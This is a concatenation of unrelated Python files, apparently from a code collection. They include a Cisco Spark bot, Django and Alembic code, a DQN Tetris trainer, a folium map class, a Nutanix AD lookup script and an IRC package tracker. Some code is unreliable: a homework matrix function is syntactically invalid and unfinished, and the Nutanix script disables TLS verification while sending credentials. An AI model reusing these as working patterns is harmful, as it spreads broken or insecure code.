elif (is_this_my_string(message, ["who am i?", "who am i"])):
personDetail = spark_api.getPersonDetails(person_id)
#print (json.dumps(personDetail))
personName = personDetail["displayName"]
personCreatedDate = personDetail["created"]
creationDate = datetime.datetime.strptime(personCreatedDate, "%Y-%m-%dT%H:%M:%S.%fZ")
creationDateFormatted = creationDate.strftime("%B %d, %Y")
delta = datetime.datetime.now() - creationDate
delta = (str(delta)).split()
delta = delta[0] + " " + delta[1]
post_files = personDetail["avatar"]
post_text = "Looking Good, {}!!".format(personName)
post_text = post_text + "\nYour email is {}".format(person_email)
post_text = post_text + "\nYour profile was created on {} ({} ago)".format(creationDateFormatted, delta)
post_text = post_text + "\nYour ID is <{}>".format(person_id)
will_reply_something = True
elif (is_this_my_string(message, ["which rooms", "which rooms?"])):
receivedJson = spark_api.getRooms()
#print (json.dumps(receivedJson)) #in case you want to print the JSON
listOfRooms = []
for room in receivedJson['items']:
if (room['type'] == "group"):
listOfRooms.append(room['title'])
post_text = "I am part of {} conversations. Here's the list:".format(len(listOfRooms))
#post_text = ";\n".join(listOfRooms) #would convert the list to string
#putting in a numbered way...
i = 1
for room in listOfRooms:
post_text = "{}\n{}) {}".format(post_text, str(i), room.encode('utf-8'))
i = i + 1
will_reply_something = True
#Now you can create your own app!
elif (is_this_my_string(message, ["YOUR STRING"])):
post_text = "Be creative and start playing with the API"
#remember to set this flag to True, so that the program knows that it has to send something back to Spark
will_reply_something = True
#Now that you have treated the message. It's time to send something back.
if (will_reply_something):
write_to_spark(post_roomId, post_toPersonId, post_toPersonEmail, post_text, post_markdown, post_files)
output = post_text
else:
output = "Success"
except Exception as e:
traceback.print_exc()
output = str(e)
except:
traceback.print_exc()
output = "Error occurred. Please try again later."
#The return of the message will be sent via HTTP (not to Spark, but to the client who requested it)
return output
def parse_user_input(request):
"""Helper function to parse the information received by spark."""
http_method = None
if (request.method == "GET"):
http_method = "GET"
message = request.args["message"]
message_id = "FAKE"
person_id = "FAKE"
person_email = "FAKE"
room_id = "FAKE"
elif (request.method == "POST"):
http_method = "POST"
# Get the json data from HTTP request. This is what was written on the Spark room, which you are monitoring.
requestJson = request.json
#print (json.dumps(requestJson))
# parse the message id, person id, person email, and room id
message_id = requestJson["data"]["id"]
person_id = requestJson["data"]["personId"]
person_email = requestJson["data"]["personEmail"]
room_id = requestJson["data"]["roomId"]
#At first, Spark does not give the message itself, but it gives the ID of the message. We need to ask for the content of the message
message = read_from_spark(message_id)
else:
output = "Error parsing user input on {} method".format(http_method)
raise Exception(output)
output = {"message" : message, "message_id" : message_id, "person_id" : person_id, "person_email" : person_email, "room_id" : room_id}
return output
def read_from_spark(message_id):
try:
message = spark_api.getMessage(message_id)
except:
config = configparser.ConfigParser()
config.read("config.ini")
token = config.get('spark', 'token')
if (token == "GET-YOUR-TOKEN"):
output = "Please change the content of the config.ini file with your Spark token. Visit https://developer.ciscospark.com/getting-started.html for a tutorial"
else:
output = "Unknown error while trying to READ from Spark."
raise Exception(output)
return message
def write_to_spark (room_id, to_person_id, to_person_email, text, markdown, files):
try:
if (room_id != "FAKE"):
spark_api.postMessage(room_id, to_person_id, to_person_email, text, markdown, files)
except:
raise Exception("Error while trying to WRITE to Spark.")
def is_this_my_string (string, accepted_strings):
"""Helper function to compare an input with several options"""
return (string.lower() in accepted_strings)
if __name__ == '__main__':
app.run() |
from PIL import Image
from .artpiece import Artpiece
#function to pull image off of database
def pull_picture(id):
# handle invalid id
artpiece = Artpiece.get_by_id(id)
image = Image.frombytes("RGBX", (616, 414), artpiece.raw_image)
image.show()
return image |
from django.db import models
# from Faculty import Faculty
from portal.models import Course
# Create your models here.
# FACULTY STAFF
# ID ---- NOT NULL Integer Primary Key
# Faculty ID ---- NOT NULL Integer Foreign Key(Faculty)
# Course Code ---- NOT NULL String Foreign Key(Courses)
# Username ---- NOT NULL String Unique
# Password ---- NOT NULL String
class FacultyStaff(models.Model):
name = models.CharField(max_length=50)
facultyid = models.ForeignKey('Faculty.Faculty')
username = models.ForeignKey('portal.EmailUser',to_field = 'email')
coursecode = models.ForeignKey('portal.Course')
def __unicode__(self):
return str(self.username)
def facultyDetails(self):
return Faculty.objects.filter(id = self.facultyid)
def courseDetails(self):
return self.coursecode |
#! /usr/bin/env python3
#! _*_ coding: utf-8 _*_
from __future__ import print_function
import torch
x = torch.rand(5, 3)
print(x)
print('cuda = %s' % str(torch.cuda.is_available())) |
import numpy as np
import folium
from folium import Map
from shapely.geometry import mapping
class HospMap(Map):
def __init__(self, location=(39.8333333, -98.585522), zoom_start=4):
super().__init__(location, zoom_start=zoom_start)
self.has_layer_control = False
def add_point_subset(self, gdf, name, color, label_dict):
fg = folium.FeatureGroup(name, show=True)
self.add_points(fg, gdf, color, label_dict=label_dict)
self.add_child(fg)
def add_layer_selector(self):
self.add_child(folium.map.LayerControl(collapsed=False))
def add_set(self, gdf1, gdf2, name, colors, lines=True, sort_col='OBJECTID', addl_labels=None):
fg = folium.FeatureGroup(name, show=True)
self.add_points(fg, gdf2, colors[1], addl_labels=addl_labels)
self.add_points(fg, gdf1, colors[0], addl_labels=addl_labels)
if lines:
gdf1.sort_values(sort_col, inplace=True)
gdf2.sort_values(sort_col, inplace=True)
self.add_connecting_lines(fg, gdf1, gdf2)
self.add_child(fg)
def __repr__(self):
if not self.has_layer_control:
self.add_layer_selector()
return ''
@staticmethod
def add_connecting_lines(fg, gdf1, gdf2):
l = list(zip([i for i, _ in gdf_for_folium(gdf1)],
[i for i, _ in gdf_for_folium(gdf2)]))
for ll in l:
fg.add_child(folium.PolyLine(ll, color='grey', opacity=0.5))
def add_connections(self, gdf1, gdf2, color='grey', name='connections'):
fg = folium.FeatureGroup(name, show=True)
l = list(zip([i for i, _ in gdf_for_folium(gdf1)],
[i for i, _ in gdf_for_folium(gdf2)]))
for ll in l:
fg.add_child(folium.PolyLine(ll, color=color, opacity=0.5))
self.add_child(fg)
@staticmethod
def add_points(fg, gdf, color, label_dict):
for coords, tt in gdf_for_folium(gdf, label_dict=label_dict):
fg.add_child(folium.CircleMarker(
coords,
control=True,
fill_color=color,
fill_opacity=0.25,
color=color,
weight=1.5,
tooltip=tt))
def gdf_for_folium(gdf, label_dict):
info = []
for _, r in gdf.iterrows():
coords = mapping(r.geometry)['coordinates']
coords = (coords[1], coords[0])
props = []
for prop in label_dict:
val = r[label_dict[prop]]
if type(val) is str:
val = val.replace('`', '')
props.append("<b>{}:</b> {}".format(prop, val))
tooltip = '<br>'.join(props)
info.append((coords, tooltip))
return info
def map_facility_match_result(match_result, facility_datasets, authoritative_dataset):
def centroid():
xs = []
ys = []
for i in match_result.merged_df['geometry']:
ys.append(i.x)
xs.append(i.y)
return ((np.min(xs) + ((np.max(xs) - np.min(xs)) / 2)),
(np.min(ys) + ((np.max(ys) - np.min(ys)) / 2)))
def get_label_dict(ds):
columns = facility_datasets[ds]['columns']
return {
'Dataset': 'dataset',
'ID': columns.facility_id,
'Name': columns.facility_name,
'Address': columns.street_address
}
merged_df = match_result.merged_df.copy()
merged_df['dataset'] = 'Merged - {}'.format(authoritative_dataset)
m = HospMap(centroid(), 7)
m.add_point_subset(
merged_df,
'{} - matched'.format('Merged'),
color='blue',
label_dict=get_label_dict(authoritative_dataset)
)
colors = ['red', 'yellow', 'brown', 'orange', 'green']
for i, dataset_key in enumerate(facility_datasets):
if dataset_key in match_result.unmatched_per_dataset:
unmatched = match_result.unmatched_per_dataset[dataset_key]
df = facility_datasets[dataset_key]['df'].copy()
df['dataset'] = dataset_key
id_column = facility_datasets[dataset_key]['columns'].facility_id
unmatched_df = df[df[id_column].astype(str).isin(unmatched)]
m.add_point_subset(
unmatched_df.to_crs('epsg:4326'),
'{} - unmatched'.format(dataset_key),
color=colors[i % len(colors)],
label_dict=get_label_dict(dataset_key)
)
return m
|
#@+leo-ver=5-thin
#@+node:ekr.20110605121601.18002: * @file ../plugins/qtGui.py
"""qt gui plugin."""
#@@language python
#@@tabwidth -4
print('===== qtGui.py: this module is no longer used.')
#@-leo
|
# -*- coding: utf-8 -*-
"""
flask_wtf
~~~~~~~~~
Flask-WTF extension
:copyright: (c) 2010 by Dan Jacob.
:copyright: (c) 2013 - 2015 by Hsiaoming Yang.
:license: BSD, see LICENSE for more details.
"""
# flake8: noqa
from __future__ import absolute_import
from .csrf import CSRFProtect, CsrfProtect
from .form import FlaskForm, Form
from .recaptcha import *
__version__ = '0.14.2'
|
class ProductionDataRouter(object):
using = 'production'
app_label = 'production'
def db_for_read(self, model, **hints):
if model._meta.app_label == self.app_label:
return self.using
def db_for_write(self, model, **hints):
if model._meta.app_label == self.app_label:
return self.using
def allow_syncdb(self, db, model):
if model._meta.app_label == self.app_label:
return db == self.using
return False
class StagingDataRouter(object):
using = 'staging'
app_label = 'staging'
def db_for_read(self, model, **hints):
if model._meta.app_label == self.app_label:
return self.using
def db_for_write(self, model, **hints):
if model._meta.app_label == self.app_label:
return self.using
def allow_syncdb(self, db, model):
if model._meta.app_label == self.app_label:
return db == self.using
return False |
import argparse
import os
import shutil
import random
import numpy as np
import torch
import torch.nn as nn
import torchvision
from torch.utils.tensorboard import SummaryWriter
from model import DQN
from tetris import Tetris
from utils import ReplayBufferOld, str2bool
import utils
import logging
import sys
import math
def get_args():
parser = argparse.ArgumentParser()
parser.add_argument("--width",type=int,default=10, help="The common width for all images")
parser.add_argument("--height",type=int,default=20, help="The common height for all images")
parser.add_argument("--block_size",type=int,default=30, help="Size of a block")
parser.add_argument("--batch_size",type=int,default=512, help="The number of images per batch")
parser.add_argument("--lr", type=float, default=1e-3)
parser.add_argument("--gamma", type=float, default=0.999)
parser.add_argument("--initial_epsilon", type=float, default=0.9)
parser.add_argument("--final_epsilon", type=float, default=1e-3)
parser.add_argument("--num_decay_epochs", type=float, default=1000)
parser.add_argument("--num_episodes", type=int, default=10000)
parser.add_argument("--max_episode_length", type=int, default=5000)
parser.add_argument("--save_interval", type=int, default=200)
parser.add_argument("--replay_memory_size",type=int,default=50000)
parser.add_argument("--tensorboard_dir", type=str, default="runs")
parser.add_argument("--saved_dir", type=str, default="output")
parser.add_argument("--log_file", type=str, default="output/train.log")
parser.add_argument("--gpu", type=int, default=1)
parser.add_argument("--sim_rom_mode", type=str2bool, default=False)
args = parser.parse_args()
return args
def get_epsilon(args, epoch):
eps_threshold = args.final_epsilon + (args.initial_epsilon - args.final_epsilon) \
* math.exp(-1. * epoch / args.num_decay_epochs)
return eps_threshold
def get_action_index(args, epoch, predictions, next_steps):
epsilon = get_epsilon(args, epoch)
if random.random() <= epsilon:
action_index = random.randint(0, len(next_steps) - 1)
else:
action_index = torch.argmax(predictions).item()
return action_index
def setup_logger(args):
if not os.path.exists(os.path.dirname(args.log_file)):
os.makedirs(os.path.dirname(args.log_file))
logging.basicConfig(filename=args.log_file, filemode='w', format='%(message)s', level=logging.INFO)
console = logging.StreamHandler()
console.setLevel(logging.INFO)
formatter = logging.Formatter('%(message)s')
console.setFormatter(formatter)
logging.getLogger().addHandler(console)
return logging.getLogger('myapp.area1')
def train(args):
logger = setup_logger(args)
logger.info('---- Options ----')
for k, v in vars(args).items():
logger.info(k + ': ' + str(v))
logger.info('--------\n')
if torch.cuda.is_available():
torch.cuda.manual_seed(0)
else:
torch.manual_seed(0)
if os.path.isdir(args.tensorboard_dir):
shutil.rmtree(args.tensorboard_dir)
os.makedirs(args.tensorboard_dir)
if not os.path.exists(args.saved_dir):
os.makedirs(args.saved_dir)
writer = SummaryWriter(args.tensorboard_dir)
env = Tetris(width=args.width, height=args.height, block_size=args.block_size, sim_rom_mode=args.sim_rom_mode)
state_dim = 25
action_dim = 2
device = torch.device('cuda:{}'.format(args.gpu) if torch.cuda.is_available() else 'cpu')
model = DQN(input_dim=state_dim).to(device)
optimizer = torch.optim.Adam(model.parameters(), lr=args.lr)
criterion = nn.MSELoss()
state = env.reset()
replay_memory = ReplayBufferOld(state_dim, action_dim, device=device,
max_size=args.replay_memory_size) # action = [x_axis, rotate_times]
episode = 0
step_cnt = 0
seed = 0
random.seed(seed)
while episode < args.num_episodes:
next_steps = env.get_next_states()
next_actions, next_states = zip(*next_steps.items())
next_states = torch.stack(next_states)
next_states = next_states.to(device)
model.eval()
with torch.no_grad():
predictions = model(next_states)[:, 0]
index = get_action_index(args, episode, predictions, next_steps)
model.train()
next_state = next_states[index, :]
next_state = next_state.cpu().numpy()
action = next_actions[index]
reward, done = env.step(action, render=False)
if step_cnt > args.max_episode_length:
done = True
replay_memory.add(state, action, next_state, reward, done)
if done:
final_score = env.score
final_tetrominoes = env.tetrominoes
final_cleared_lines = env.cleared_lines
state = env.reset()
step_cnt = 0
else:
state = next_state
step_cnt += 1
continue
if len(replay_memory) < args.replay_memory_size / 10:
# logger.info("Episode:%d Current Memory Size: %d" % (episode, len(replay_memory)))
continue
episode += 1
batch = replay_memory.sample(args.batch_size)
state_batch, action_batch, next_state_batch, reward_batch, done_batch = batch
q_values = model(state_batch)
model.eval()
with torch.no_grad():
next_prediction_batch = model(next_state_batch)
model.train()
next_prediction_batch[done_batch < 0.5] = 0.0
y_batch = reward_batch + args.gamma * next_prediction_batch
optimizer.zero_grad()
loss = criterion(q_values, y_batch)
loss.backward()
optimizer.step()
logger.info(
"Episode: {}/{}, Score: {}, Tetrominoes {}, Cleared lines: {}"
.format(episode, args.num_episodes, final_score,
final_tetrominoes, final_cleared_lines))
writer.add_scalar('Train/Score', final_score, episode - 1)
writer.add_scalar('Train/Tetrominoes', final_tetrominoes, episode - 1)
writer.add_scalar('Train/Cleared lines', final_cleared_lines,
episode - 1)
if episode > 2000 and episode % args.save_interval == 0:
torch.save(model, "{}/tetris_{}.pth".format(args.saved_dir, episode))
if episode % 100:
random.seed(seed%10)
seed += 1
torch.save(model, "{}/tetris.pth".format(args.saved_dir))
if __name__ == "__main__":
args = get_args()
train(args)
|
from turtle import Turtle
import random
from turtle import *
import turtle
colormode(255)
class Square(Turtle):
def __init__(self, size):
Turtle.__init__(self)
self.shape("square")
self.shapesize(size)
def random_color(self):
rgb = (random.randint(0,256), random.randint(0,256), random.randint(0,256))
self.fillcolor(rgb)
self.pencolor(rgb)
turtle.hideturtle()
turtle.penup()
turtle.begin_poly()
for i in range(6):
turtle.forward(50)
turtle.right(60)
turtle.end_poly()
hexagon = turtle.get_poly()
register_shape("Hexagon", hexagon)
judeh = turtle.Turtle()
judeh.shape("Hexagon")
judeh.penup()
judeh.goto(100,100)
class Hexagon(Turtle):
def __init__(self, size):
Turtle.__init__(self)
self.shapesize(size)
self.shape("Hexagon")
hexa = Hexagon(5)
turtle.mainloop() |
#region headers
# escript-template v20190611 / stephane.bourdeaud@nutanix.com
# * author: Bogdan-Nicolae.MITU@ext.eeas.europa.eu,
# * stephane.bourdeaud@nutanix.com
# * version: 2019/09/17
# task_name: PcGetAdGroup
# description: Given an AD group, return information from the directory.
# output vars: ad_group_name,ad_group_dn
# endregion
#region capture Calm variables
username = '@@{pc.username}@@'
username_secret = "@@{pc.secret}@@"
api_server = "@@{pc_ip}@@"
project_vlan_id = "@@{project_vlan_id}@@"
directory_uuid = "@@{directory_uuid}@@"
#endregion
#region define variables
ad_group_name = "NUT_EEAS_R_TLAB{}Admins".format(project_vlan_id)
#endregion
# region prepare api call
api_server_port = "9440"
api_server_endpoint = "/api/nutanix/v3/directory_services/{}/search".format(directory_uuid)
length = 100
url = "https://{}:{}{}".format(
api_server,
api_server_port,
api_server_endpoint
)
method = "POST"
headers = {
'Content-Type': 'application/json',
'Accept': 'application/json'
}
# Compose the json payload
payload = {
"query":ad_group_name,
"returned_attribute_list":[
"memberOf",
"member",
"userPrincipalName",
"distinguishedName"
],
"searched_attribute_list":[
"name",
"userPrincipalName",
"distinguishedName"
]
}
# endregion
#region make the api call
print("Making a {} API call to {}".format(method, url))
resp = urlreq(
url,
verb=method,
auth='BASIC',
user=username,
passwd=username_secret,
params=json.dumps(payload),
headers=headers,
verify=False
)
#endregion
#region process the results
if resp.ok:
json_resp = json.loads(resp.content)
if len(json_resp['search_result_list']) == 0:
print("The Active Directory group {} does not exist.".format(ad_group_name))
exit(1)
else:
print("The Active Directory group {} exists.".format(ad_group_name))
ad_group_dn = json_resp['search_result_list'][0]['attribute_list'][0]['value_list'][0]
print("ad_group_name={}".format(ad_group_name))
print("ad_group_dn={}".format(ad_group_dn))
exit(0)
else:
# print the content of the response (which should have the error message)
print("Request failed", json.dumps(
json.loads(resp.content),
indent=4
))
print("Headers: {}".format(headers))
print("Payload: {}".format(payload))
exit(1)
# endregion |
#! /usr/bin/env python
"""
hw 4
"""
from __future__ import division, print_function
from itertools import izip
# Task 2
def p_distance(seq1, seq2):
"""
:type seq1: str
:param seq1:
:type seq2: str
:param seq2:
:return: p-distance between seq1 and sec2
"""
if len(seq1) != len(seq2):
raise ValueError("Sequences are not aligned")
mismatches_without_gaps = sum(char1 != char2 and char1 != "-" and
char2 != "-" for char1, char2 in
izip(seq1, seq2))
ident_positions = sum(char1 == char2 for char1, char2 in izip(seq1, seq2))
return mismatches_without_gaps/(mismatches_without_gaps+ident_positions)
# Task 3 (I don't know how to iter by col and row at the same time)
def my_dot_product(mx1, mx2):
"""
:type mx1: list
:param mx1:
:type mx2: list
:param mx2:
:return: list with result of 2 matrix multiplication
"""
if ncol_mx1 != nrow_mx2:
raise ValueError("Matrix is not matched")
nrow_mx1, ncol_mx1 = len(mx1), len(mx1[0])
nrow_mx2, ncol_mx2 = len(mx2), len(mx2[0])
mult_result = [[None for j in xrange(ncol_mx2)] for i in xrange(nrow_mx1)]
def get_col(mx, j):
return [row[j] for row in mx]
for j in xrange(ncol_mx2):
get_col(mx2, j)
for i in mx1[]:
# get_col(mx2, j) * i for _ in zip(get_col(mx2, j), i)
# I need cycle:
# 1. get col from mx2 by get_col
# 2. zip (or something else) row and col (row by iteration by index)
# 3. multiply all pairs
# 4. summ results
# 5. put into [multiple_result]
|
max_int = (1 << 31) -1
min_int = - (1 << 31)
class Solution(object):
def divide(self, dividend, divisor):
"""
:type dividend: int
:type divisor: int
:rtype: int
"""
if divisor < 0 :
divisor = - divisor
dividend = - dividend
if dividend > max_int or dividend < min_int:
return max_int
ans = 0
if divisor == 0:
return max_int
if divisor == 1:
return dividend
while dividend >= divisor:
print(dividend)
dividend -= divisor
ans += 1
if ans > max_int or ans < min_int:
return max_int
return ans
s = Solution()
print(s.divide(2147483647,2)) |
import packagetrack
from packagetrack.carriers.errors import *
from packagetrack.configuration import DotFileConfig
import time
import datetime
import json
import random
import traceback
import requests
from ..plugin import PollPlugin, CommandPlugin
from ..shorturl import short_url
from .hesperus_irc import IRCPlugin
from .evenames import EveGenerator
class WordsGenerator(object):
def __init__(self, path):
with open(path, 'r') as words:
self._database = [line.strip() for line in words \
if not any(str(i) in line for i in range(10)) and len(line) <= 9]
def generate(self, tn):
return ' '.join(random.choice(self._database).capitalize() for i in range(3))
class FallbackGenerator(object):
def generate(self, tn):
return tn
class PackageTracker(CommandPlugin, PollPlugin):
@CommandPlugin.config_types(persist_file=str, auth_file=str, retry_period=int, eve_data=str)
def __init__(self, core, persist_file='shipping-following.json', auth_file=None, retry_period=24, eve_data=None):
super(PackageTracker, self).__init__(core)
self._persist_file = persist_file
self._data = {}
self._unready_data = {}
self._retry_period = retry_period
packagetrack.auto_register_carriers(DotFileConfig(auth_file))
self.load_data()
if eve_data:
try:
self._tag_generator = EveGenerator(eve_data)
except Exception as e:
self.log_debug('Eve data not loaded: %s' % e)
self._tag_generator = None
if not self._tag_generator:
try:
self._tag_generator = WordsGenerator('/usr/share/dict/words')
except IOError as err:
self.log_debug('Word database not loaded: %s' % err)
self._tag_generator = FallbackGenerator()
@CommandPlugin.register_command(r"ptrack(?:\s+([\w\d]+))?(?:\s+(.+))?")
def track_command(self, chans, name, match, direct, reply):
if match.group(1):
tn = match.group(1)
if tn in self._data.keys():
if name == self._data[tn]['owner'] or 'admin' in chans:
del self._data[tn]
self.save_data()
reply('WELL FINE THEN, I won\'t tell you about that package anymore')
else:
reply('You can\'t tell me what to do, you\'re not even my real dad!')
else:
package = self.get_package(tn)
try:
state = package.track()
except requests.exceptions.Timeout:
reply('{p.carrier}\'s API is being shitty and timed out, try again later'.format(
p=package))
except TrackingNumberFailure as err:
self.log_warning(err)
reply('{carrier} doesn\'t have any info on that number'.format(
carrier=package.carrier))
except UnsupportedTrackingNumber:
self.log_warning('bad tracking number: {0}'.format(tn))
reply('I don\'t know how to deal with that number')
except TrackingFailure as err:
data = {
'tag': match.group(2) if match.group(2) else self._tag_generator.generate(tn),
'owner': name,
'channels': chans,
'direct': direct,
'last_update': int(time.time())
}
self._unready_data[tn] = data
self.log_debug('Unready package: %s' % err)
reply('{p.carrier} doesn\'t know about "{d[tag]}" yet but I\'ll keep an eye on it ' \
'for {0} hours and let you know if they find it'.format(
self._retry_period, p=package, d=data))
else:
if state.is_delivered:
reply('Go check outside, that package has already been delivered: <%s>' % short_url(package.url))
else:
data = {
'tag': match.group(2) if match.group(2) else self._tag_generator.generate(tn),
'owner': name,
'channels': chans,
'direct': direct,
'last_update': int(time.mktime(state.last_update.timetuple()))
}
self._data[tn] = data
self.save_data()
reply('"{tag}" is at "{state}" now, I\'ll let you know when it changes'.format(
state=state.status, tag=data['tag']))
else:
packages = [self.get_package(tn) for tn in self._data.keys() if self._data[tn]['owner'] == name]
if packages:
for package in packages:
self.output_status(package)
else:
reply('I\'m not watching any packages for you right now')
def poll(self):
self.log_debug('entering poll()')
expired = {}
found = {}
for (tn, data) in self._unready_data.items():
self.log_debug('checking updates for tn/data: {}/{}'.format(tn,data))
package = self.get_package(tn)
try:
new_state = package.track()
except TrackingFailure as e:
if int(time.time()) - data['last_update'] > self._retry_period * 3600:
expired[tn] = data
except requests.exceptions.Timeout as e:
continue
else:
found[tn] = data
yield
for (tn, data) in found.items():
self.log_debug('sending message for updated tn/data: {}/{}'.format(tn,data))
package = self.get_package(tn)
self._raw_message(None,
'{d[owner]}: {p.carrier} seems to have found your "{d[tag]}", I\'ll watch it for updates now'.format(
d=data, p=package))
self._data[tn] = data
del self._unready_data[tn]
for (tn, data) in expired.items():
self.log_debug('sending message for expired tn/data: {}/{}'.format(tn,data))
package = self.get_package(tn)
self._raw_message(None,
'{d[owner]}: {p.carrier} hasn\'t found your "{d[tag]}" yet so I\'m dropping it'.format(
d=data, p=package))
del self._unready_data[tn]
delivered = []
for (tn, data) in self._data.items():
self.log_debug('sending message for delivered tn/data: {}/{}'.format(tn,data))
package = self.get_package(tn)
try:
new_state = package.track()
except (requests.exceptions.Timeout, TrackingFailure) as e:
self.log_warning(e)
continue
new_update = int(time.mktime(new_state.last_update.timetuple()))
if new_state.is_delivered:
delivered.append(tn)
if data['last_update'] < new_update:
self._data[tn]['last_update'] = new_update
self.save_data()
self.output_status(package)
yield
for tn in delivered:
del self._data[tn]
self.save_data()
def output_status(self, package):
self.log_debug('sending status for tn: {}'.format(package.tracking_number))
try:
state = package.track()
data = self._data[package.tracking_number]
except Exception:
traceback.print_exc()
return
if state.is_delivered:
msg = '{package.carrier} has delivered "{data[tag]}"'.format(
package=package, data=data)
elif len(state.events) > 1:
msg = '{package.carrier} moved "{data[tag]}" from {oldstate.detail}@{oldstate.location} to {newstate.status}@{newstate.location}'.format(
data=data,
package=package,
oldstate=state.events[-2],
newstate=state)
else:
msg = '{package.carrier} moved "{data[tag]}" to {newstate.status}@{newstate.location}'.format(
data=data,
package=package,
newstate=state)
if not state.is_delivered and state.delivery_date:
hours = int((state.delivery_date - datetime.datetime.now()).total_seconds() // 3600)
msg += ', delivery is T minus {hours} hours'.format(hours=hours)
msg = '{owner}: {msg} <{url}>'.format(
url=short_url(package.url),
owner=data['owner'],
msg=msg)
if data['direct'] and False:
for plgn in self.parent._plugins:
if isinstance(plgn, IRCPlugin):
plgn.bot.connection.privmsg(data['owner'], msg)
break
else:
self._raw_message(data['channels'], msg)
def _raw_message(self, chans, msg):
self.parent.send_outgoing('default', msg)
#for chan in chans:
# self.parent.send_outgoing(chan, msg)
@property
def poll_interval(self):
base_interval = 300
return base_interval if len(self._data) < 2 else (base_interval / len(self._data))
def save_data(self):
self.log_debug('saving state')
with open(self._persist_file, 'wb') as pf:
json.dump(self._data, pf, indent=4)
def load_data(self):
self.log_debug('loading state')
try:
with open(self._persist_file, 'rb') as pf:
self._data.update(json.load(pf))
except (IOError, ValueError):
pass
def get_package(self, tn):
return packagetrack.Package(tn)
class PackageStatus(CommandPlugin):
def __init__(self, core, auth_file=None):
super(PackageStatus, self).__init__(core)
packagetrack.auto_register_carriers(DotFileConfig(auth_file))
@CommandPlugin.register_command(r"pstatus(?:\s+([\w\d]+))?")
def status_command(self, chans, name, match, direct, reply):
if not match.group(1):
reply('What exactly do you want the status of?')
return
tn = match.group(1)
package = self.get_package(tn)
try:
info = package.track()
except UnsupportedTrackingNumber:
self.log_warning('UnsupportedShipper: {0}'.format(tn))
reply('Dunno any carriers for a number like that')
except TrackingFailure as err:
reply('Sorry, {p.carrier} said "{msg}" <{url}>'.format(
p=package, msg=err, url=short_url(package.url)))
except requests.exceptions.Timeout:
reply('{p.carrier}\'s API is being shitty and timed out, try again later'.format(
p=package))
except Exception as e:
msg = '({tn}) {etype}: {message}'.format(
etype=e.__class__.__name__, message=e.message, tn=tn)
self.log_warning(msg)
reply(msg)
else:
if info.is_delivered:
msg = '{p.carrier} says it has been delivered as of {last_update}'
else:
msg = '{p.carrier} has it at {i.status}@{i.location} as of {last_update}, ' + \
'and it should be delivered {delivery_date}'
msg += ' <{url}>'
delivery_date = '... eventually' if info.delivery_date is None else \
('today' if info.delivery_date.date() == datetime.date.today() else info.delivery_date.strftime('%m/%d'))
reply(msg.format(
p=package,
i=info,
last_update=info.last_update.strftime('%m/%d %H:%M'),
delivery_date=delivery_date,
url=short_url(package.url)))
def get_package(self, tn):
return packagetrack.Package(tn)
|
import pytest
from src.messaging_service import MessagingService
from src.message import Message
def test_exercise():
message = Message("Grace","Hello there!")
service = MessagingService()
service.add(message)
assert service.get_messages() == ["Grace: Hello there!"]
|
"""Add Build.priority
Revision ID: 36cbde703cc0
Revises: fe743605e1a
Create Date: 2014-10-06 10:10:14.729720
"""
# revision identifiers, used by Alembic.
revision = '36cbde703cc0'
down_revision = '2c6662281b66'
from alembic import op
import sqlalchemy as sa
def upgrade():
op.add_column('build', sa.Column('priority', sa.Enum(), server_default='0', nullable=False))
def downgrade():
op.drop_column('build', 'priority')
|
import sys
import csv
from sklearn.model_selection import train_test_split
from classifier import svm_tasks, ann_tasks
def convert_row_to_int(row):
new_row = []
for value in row:
new_row.append(float(value))
return new_row
if __name__ == "__main__":
if len(sys.argv) != 2:
sys.exit("Usage: python runner.py csv_path")
csv_path = sys.argv[1]
X = []
y = []
with open(csv_path, 'r') as csv_file:
reader = csv.reader(csv_file, delimiter=";")
for row in reader:
X.append(convert_row_to_int(row[:-1]))
y.append(row[-1])
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, shuffle=True)
# Perform tasks
print("SVMs")
clf_types = ['linear', 'poly', 'rbf']
# C_values obtained emphirically
C_values = [10.0, 100.0, 100.0]
for C_value, clf_type in zip(C_values, clf_types):
svm_tasks(X_train, y_train, X_test, y_test, C_value, clf_type)
print("**********************************************************")
print("**********************************************************")
print("ANNs")
# hidden layers, nodes, learning rate
for hidden_layers in [(), (2,), (6,), (2, 3,), (3, 2,)]:
for learning_rate in [0.1, 0.01, 0.001, 0.0001, 0.00001]:
ann_tasks(X_train, y_train, X_test, y_test, hidden_layers, learning_rate)
|
import re
import os
import json
import pickle
import numpy as np
from collections import OrderedDict
from typing import List, Tuple, List, Any
import torch
from transformer.tokenizer.utils import load_tokenizer_from_pretrained
from transformer.utils.common import init_path
def get_length_penalty(length, alpha=1.2, min_length=5):
# multiply output to cumulative_prob
output = ((min_length + 1) / (min_length + length)) ** alpha
return output
class ModelFilenameConstants:
HYPERPARAMS_FILENAME_POSTFIX = "_hyperparams.pt"
STATE_DICT_FILENAME_POSTFIX = "_state_dict.pt"
MODEL_HYPERPARAMS_FILENAME = "model_hyperparams.pt"
MODEL_STATE_DICT_FILENAME = "model_state_dict.pt"
OPTIMIZER_HYPERPARAMS_FILENAME = "optimizer_hyperparams.pt"
OPTIMIZER_STATE_DICT_FILENAME = "optimizer_state_dict.pt"
HISTORY_FILENAME = "history.pickle"
EPOCH_LOG_FILENAME = "epoch_log.txt"
BATCH_LOG_FILENAME = "batch_log.txt"
TORCH_DDP_STATE_DICT_PREFIX = "module."
# spm_model directory
TOKENIZER_DIR = "tokenizer/"
# encoded data directory & filename
ENCODED_DATA_DIRECTORY = "encoded_data/"
CANDIDATES_FILENAME = "candidates.pickle"
def save_model(path, model, save_nested_model: bool = False, ddp: bool = False):
if not path.endswith("/"): path += "/"
path = init_path(path, reset=False)
# save model state_dict
_save_model_state_dict(path=path, model=model, save_nested_model=save_nested_model, ddp=ddp)
return path
def _save_model_state_dict(path, model, save_nested_model, ddp):
path = init_path(path, reset=False)
state_dict_path = path + ModelFilenameConstants.MODEL_STATE_DICT_FILENAME
checkpoint = dict()
checkpoint["state_dict"] = _extract_model_state_dict(model=model, ddp=ddp)
torch.save(checkpoint, state_dict_path)
if save_nested_model:
for k,v in model._modules.items():
if isinstance(v, torch.nn.modules.Module):
if k.startswith("module/"): k = re.sub("module/", "", k)
if k.strip() == "": continue
_path = path + k + "/"
_save_model_state_dict(path=_path, model=v, ddp=ddp)
def _extract_model_state_dict(model, ddp):
state_dict = {k: torch.clone(v).to("cpu") for k, v in model.state_dict().items()}
if ddp:
state_dict = remove_state_dict_prefix(state_dict=state_dict, prefix=ModelFilenameConstants.TORCH_DDP_STATE_DICT_PREFIX)
return state_dict
def save_optimizer(path, optimizer):
